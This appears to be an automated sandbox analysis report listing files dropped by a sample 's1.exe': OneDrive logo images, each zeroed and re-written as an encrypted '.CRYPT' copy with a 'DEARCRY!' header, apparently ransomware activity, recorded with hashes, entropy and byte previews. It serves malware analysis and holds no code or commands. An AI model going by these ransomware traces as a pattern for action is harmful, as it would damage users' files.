                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-125.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3664
                                                              Entropy (8bit):7.950265640602156
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A1630E28835E8B52F2BF08EABCB7DB6F
                                                              SHA1:FAE51A000C53299AD16615066E5BC038065EC27F
                                                              SHA-256:01C6A5BF09EA3047484B04F874BD516D8A33F7423221AFDDACE55A8F45D12902
                                                              SHA-512:D16F769AF84313B4D4A8270E93165937C9BE9BA5D0C22CDC181161E95700F2F67B366FDD30E6F976CF03B89F343DBAAFA01374A0C328EDE009E93ED6915BE943
                                                              Malicious:false
                                                              Preview: DEARCRY!....M....A..I.*..2..L......?.....W.^{t.cQ.t.......C...bF.G...B..F.....3N.J....%..r...0.:...q....c.}<.a.....X...XO.4.\!.....f....=.t.Ue.|yz"\.).....&.S....<p.N]....j...og._V..$.~o.B..;u.....^s....4.J.]...$|....'...W4.............\..4..<Z..5@r.^............cF.$hOD.Y...]h.{...Q..S...A. ....;j1.......V......?.5.(..$j`.I.<....!.F8........'.....4.wn|....It.......!.*a.pR.....#.yA..K},./P..^e..._.o;.P....n...]N..68.3..s...62*...`*k....W,..<.Hq:.q}.....reg....Q.h...e...c..Q....;P./.,...Z..Z.8i.....f....>.9U..;.Q..U...D..:.........a..5..D.;.^..%{..*...-.1..m...%.1..ze.m2:._..bD/.Lq8.;c....uX.m....e.~:.B...3...T.a......=Y.\k4.}?!v...%N...0..jHvz.a..7P.J._....dfO...2....y.|.nn?.......q...Y...{>3....'....y./.E........W....~.....6.=..m.1............c$..0....)$.....l..x-.c.,.O..mZ.a......NF.5w].-..{9.U..._.#E.....f..1}......'cBc.jO.:.`.5.....n..< ..8.=...4.."K[C..hI.;Q..._H..b&.<>+]...b...GU...g....z.bS....<u..K...*..`..g.7....v....e......y...T.7@.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-150.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4258
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4AFB8DA199F1C9E25E6ED35FEE79C371
                                                              SHA1:9B5727B0F7B42AE7C6921B90FDD37A990413991C
                                                              SHA-256:AD913F20770E59A196F5BFC881DA3487A10650F5D69E16C3F728D109104D7426
                                                              SHA-512:C7920E8E740529F45D17EEFE22177064CBA59363932BA5E5C26C93B69BDF485C1140608BB2942EDDF9631FB2BE10CA75BD8FB7078AB61351A3B89ABB72E41542
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-150.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4848
                                                              Entropy (8bit):7.957892109066814
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A1D7786DE864C2CD5DDA464756FA76E
                                                              SHA1:DFFC70097F71BDEB2DE4AC108A65EC396802B886
                                                              SHA-256:7097165952351F1B073223E6BBE5ECF70B41238D020CF3BD931A628864A7675D
                                                              SHA-512:8704AFE703674885CAA26E4C0CE6D27439AD8177EEDB4699E8F38A75AD679FAC88A82BD93F308BF11053A557979B601A27FFA2C4109150E4562ACE8BE09922AB
                                                              Malicious:false
                                                              Preview: DEARCRY!....m.>/..eq.S....E. 0.....`n....\/...".Mz.!.a.V}..\..L.Z.(.M.^...}..[....w..l....s../pM....#.gqQ....+.X.......l ..,.y.[6~\D..f.y....l.[~.k.|lx..7..p......\..D.......u...z>...V..af...$...i;s..[....#w..2....qm.%...JA.........b".#..C.f.f@Gg....\A9.(4O....Q........f. ...egW..E.f..'G2......`T.W..Y\M.:...~|....H....3......~o.ey.X....b.J.....0=T`Uu...$.'tq..o1.V`)P."T.t...En..4?.sMh#.~..Nx.r......i..mb.......g.A..`...Q,9..M.z..{...Ki.....L....;..*.?.N."g.h..lLv.3.5.g...'.#..l.J..F.(]`.. ...Zj-+9..........KRs.'.............wW......$):..n......YXIEp...]s"..pB...'`(...*}SK.......oZ..(..C6.E.8a...m....>I..=..f.*....).ql.[.....,....... X..a......Xdi3.J.)s........ow....U.M%BN1.,.}.....P8. ........=Z....t...)........5vY.@V......d.{.o..&......N.!...9...A..rW..;.Ud../.e..%..u.t..o.}.......6..s.Q.$T.`..Z.......].C}..g..|........|C.....s.?*J...*0}l..[.%ydAO.,u..!.Npu(.ff.c..."....E..L|..'.(..........y.J?.w...$..f*..$3oX.......W.v.9..B;w0+BV.+.B..
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-200.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5504
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B4DC498DD9C0FD0A56A9B36C22089F16
                                                              SHA1:B165641850E301A8567A52292017F2B581F8C2EE
                                                              SHA-256:7176757612606A926904B73A4CE3515DA999EBDCCF6F4817909F7682DB180609
                                                              SHA-512:F435750513E77DC16381283B35DFE649EF6C2031F4736C424E7BA5A493B9DBC912E9AD405E79450E052C29B62EDDFB352A31E9EF3F5F31729A749980D049D215
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-200.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6096
                                                              Entropy (8bit):7.9692841189765655
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C713FC4E215657A7504C02F62E292D6E
                                                              SHA1:B7EFD6EFDBE389B9DD6A8F4FF6004C4870080B71
                                                              SHA-256:552CBEBCF179350715F7FB2402E8327209CF9EB0F2E9DBE2437E0A6A42426430
                                                              SHA-512:6E00554862CE82D688FBA92A3EA43552DA7C79C1B5AD893BD34EFEC20811EA30035F55550E434E721FF7AA0303D5C188BD87C55B5B0CC71B01FA99BCFD73129C
                                                              Malicious:false
                                                              Preview: DEARCRY!.........4..K.&...O..I....J.{.O....h.)'.b.n..<5 J...%.H.8,.>...q.v.F..kXD-....U.@..opH..!P_U....\.|~...D..9?..f.r.~.....l.}...wU.4.7......T?.....3.n%.+g...@..^.....5.....4a..3;..Ht..........`..o...k.)...H.}....`Ah.[."..`.D..K]...qT.....(..(....A..`...............-Y...N.Vc..L.l.K..~1...D..Fgg..!..X.|N..a...vn......;%..HU:...*..\yUT.g...H.i.-.]...."pd...pO.....#z...3..;.xF.W..m..b`..)...."..(.W.....Qw,....L..](v..G..$..7..C=#`.\`.G...^.K.i..J.......)..O....0.@...6:%lr........^9........k........C_`..a..*...V..&ZO...6e.o&.......m.ky.......`~...|4.~C.r.%a..j....Y......D.|ZF9...X.>...Z\$...#ESe..&]Va..M.2.....{}.`..T..$..wG..|E.*......n....F..Z.b"#..(..6<.F..}X.E.@;y../Mk.....[...)d...smN.R.A..I.D...8E...v....>.m.....Y/..n..,.2..nW.rM.....@n4G.v.m..b(...E(.......0%.v.&..e.~...rI.Q....:h..[%Ox.Ea.../...y..e.I.W.T(v6'=6.8.Q?......9....Mr.4s.W..6@..[.....F.W......A..f*.........o.......q.*Hf..6n.z.j..F...<#...\.....u....d.#.8.d.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-400.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):13222
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FFB6F9DFF09553C918A0B33D16E31A36
                                                              SHA1:8B4835F24E3FCA606D7A6FA81ED7C5C7C9F60BC3
                                                              SHA-256:013639A858224BB2DFCE55F9294A29C58B297C769B8CF92BD79FD635F11D18C6
                                                              SHA-512:A288805A295B5F0E6DA3BA40808E3E98875C58C35D849C43C4968574C248BCA73CA36A9D121AE5CA3F7DC3D1E9311C5D4342283CAC199F83971F1B1A40BEDCB0
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-400.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):13808
                                                              Entropy (8bit):7.987611864225202
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B5872ED7554A780A99042AB61AD34640
                                                              SHA1:953EC1CF3ADD9E3F56BFAD4EDE3C9CFFA49B9741
                                                              SHA-256:55F49BD900C4F36DB4CD332578F5EE7DDA9D1C1E8D41C4D80B548E8A83F0AD68
                                                              SHA-512:24DFCA57D4833E6CE50441A3245A11F8042F954ACAC11CFA21A78D3CD0239257FC85F65C47708E43EDAB7A7EF3DFEF2B705376F790532D473834F3955CEE85D3
                                                              Malicious:false
                                                              Preview: DEARCRY!..........=..0..;Z%+i;..p..T...L.`>jF~.@.!..-.p.......;-.;...')..).%..d.VS6V....q..U]..Kh..O...wG......A..*. [.N=. 4.<i.L%^.Gk.8....CW.6..a.... ^...=..RQC.:8.....@...jny..!C>X1....k.../..#.....^...d.{t.[L.k..AT..z.me2...wUA..s.#.CpA.{+...&..*0..............p.F8p.L.=.......%......6.W..f......}..|..a.O.9..9E.<.h......8.D.....N.......j..cFJ.......0.4..4....s1./...-.Z(2...F.6.&...b..-.l.>.B.L.4.\(r[;.i...!...&/..`m..g..(...T...9..|T~...t....O..I....2....A^MN.....w..Yk.,..o.......-<....&*a..:...{.,.&\.\........qN.#.Iik....Z._E@...h6.Yt.<..\6.v......f)Y.v..M*..U......N.n...}.....\<.d.'.[6y..H;..MX..r...P..I..W..0....8.....^.x....e....U|-q..U%..u]..Z;N...}....Bv....ZQ6....C=U.z_.Wp`RVY..=y.A2}.E.yP...,...%.H...fi.s7...J...c`xl......s.6}|,.-Uy%.Sj..e....^.w.\...i....H..f....;.W`.@..<.yw..h.]nj..a...........B<.,.^..:...A..Qxn=......M.*....BH*.8...'..!...8.\...o...Y%;....Ys....N.....3.9....7.......|%.y.P....w.!...*.;O c.L.*....i..?Q.?..C..
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-100.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5402
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:38CCB34AD12F999B5E8B92CBA8DC4D37
                                                              SHA1:52326EA033B4D40C7959E2A378346E022F833241
                                                              SHA-256:F49C4874EF0694EB0FA9D6E54FFB6E813F49901DA7D9E53DEF7C38049A79F3DB
                                                              SHA-512:020736D61D94ED73EC437BEE9FF26308BF9A8276A482CB51B0178DD1918C636AAAB07DFFF6AE27B032C935F764B06258709C27A014B9BCA604B3000D9AB90F6E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-100.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5968
                                                              Entropy (8bit):7.962635555662741
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:27407FA9C58935927A9A42154D7247C6
                                                              SHA1:1D328C11439B9EEF572A81085C2E3FF1340CC7A2
                                                              SHA-256:287536E6137F71A4E61DB6A40B2EEC3AF1857FEA8D23BD15D2B6699CA74F0DF9
                                                              SHA-512:2D50FFF0950853CD53957EBAAF79613B46038F2D7CAD3B73D77957176C4C736F0A585743D6BAF963DA16E290D0F48496BBE2CC373BEF4878D232C15CC8994258
                                                              Malicious:false
                                                              Preview: DEARCRY!......aj...!.....i.....L.A...z"1.,!...X.&/....,..@E.j...G.M.b..6_B.{n``.#..-......eT$7....D4..:-..!U..-.Nm..:Ln9.T...a.tg.Ic|y........hv...I...."....JC-..8.-[..$.9E.'$#...).s].."......zc$r`.^..?.l......V)....i[.y.>...Y....THF$..Qj..{}iTs....!.%8..i.#.;.............U.j,.DxZ.I..P.._.dG\......`.U..$D....J...;...........PA..z...0....o.,- ........4.Ys\*..q.\...O...\f0.EYK.T?..-.......}...G.5&.[.J.....r&2.C. ..u...w..:.h6.*./.d...}y.+t..F...D24.m....'...4.Z.f..phL...R.P.....A..$.l......p.%.l.z.@.>.O...{..s..7.E.o.o./q;.m..U..A.u...B......u......$a.l........0.m.tNpy...}.qwT.o..G.j....6w..p.r..Z-Z:.T.u...m..HZA..RAR....1...d.+.S.8'.x.S....rI5......a.8..;..&.;5....ac^.....d....W..=h.e.L.....q{......g.K},C..l0..(.H.R.....[*ME.5..p]Zo....2..B/..].P8~..i...".....zM..u...jWN5.....{67".C......-.2....%...-L.X9.D.j.2...ziw..0#.plH.;=eD....~.&.....b"....VNO[...o.....gu..O3....1k....l.q@[?.`.k......f..2...z.....*%.A.n......!-$>...\$.:S....G.XI.I
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-125.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6256
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:986B8936B1ECC9779DFD41633390681E
                                                              SHA1:0A7A50B0D80C27301C19F6F81E59E8DF20AD6F2A
                                                              SHA-256:E3C70B32B1765E7A87C57B1A5F0040452C5B1421A0390CC5507D4F912100EE6E
                                                              SHA-512:013DE85F6ECF29507524DE4E37FD8937B4D088F1C5F82BD80996AAE7D8D22CA7F9CA3D81EC7A207DFD2BE9A29D4070D7535D0EC0625A4E5D3D60E560F67DB578
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-125.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6832
                                                              Entropy (8bit):7.973087758810858
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C60B46AD97123EC389A8B22E4829AA9D
                                                              SHA1:0F924956F35A5184B929E2CF762EC1CAA8B49C45
                                                              SHA-256:A401760E5CC33C8F62AF6CFC9AFC855E6744CD47FAC319CC0158DB02793EFA1A
                                                              SHA-512:F62F39C9FED5DF9CE78997E8F423F4BB4E2483D497F59B49D0BA2278BE02D8B10C5DC1E1CB07B4886FBE5AAAE392E722DD7A042A0993F9C958C9842B4EDDE61B
                                                              Malicious:false
                                                              Preview: DEARCRY!........}....X...c...=.....f...7....?.....F;.g.c.w..Z....j....*...2..@.R.k.{.Y..c2..;/..2..u.".\2..K.).E..2R.../..7.%1..E..\K...pU...rl..+...H....q."5.b...hW..P.'4.#...^....y..H....W.u.s..........8F.a....NN.tR3%.g..y/.l.b%..2.@Zw.....K&].p5...?.....8.............d....j..~6:..}...E.vM#q/...`Kt.'.Q._.......J~.nBH........*....\X..&...J...D~T$Gr.X..^..&._..g{..,].."X.b....m.....e....4*M._.U.C.N.Os...Z.,..8...(9.._......D.._j!..k-..Z....E.D.V......+TzI.L..-.B.9...h..Z.MJp.3{..j.S........|J..rFuKf....x.I[._.....0^Y%.ax..Mj.Z.}...@.>....&.....?.o..!....)..7L+.L.p.....Cd.L2.6.....$.rBY...G#..F.2f..,..........D."$....$..E*.;0...+...Z.......E]zV.}.{.......^.G... K..Exc.....W....^D.s...>..`]...?.N....!.l..............B.&U#c.u...b_&.N..C...0.o...Je.T....d..M7S$.4.r.;...f1..).'...5."a<.#.E.....=2.N.....z.6.u...f..O.j.S&.n..hm._{Q.(|@...h.... ...^...@.....E.'.D:(.5{29......wR.U.TR..3.y....w.Rp.Y6...~...^l._.......=H...2o|@...\6...^....,)..V
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-150.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7348
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6C576A56851ABE027D064610A8FE30AF
                                                              SHA1:AC1B6B49D4DE57F3D8349EF929ED4E7BBD207F3B
                                                              SHA-256:3CAB763B6C75AA69E5D8F5C1634826CCB890F345AB71284B0DB2E34039C716EA
                                                              SHA-512:04167AFE937D2371E68A2780F5404553C611347D419E7BBA4D76556F7ECC30759D60F39D30865B1B3285EDA9B5B6041A194DC20A6E50F012C74C9BCBE86321D6
                                                              Malicious:false
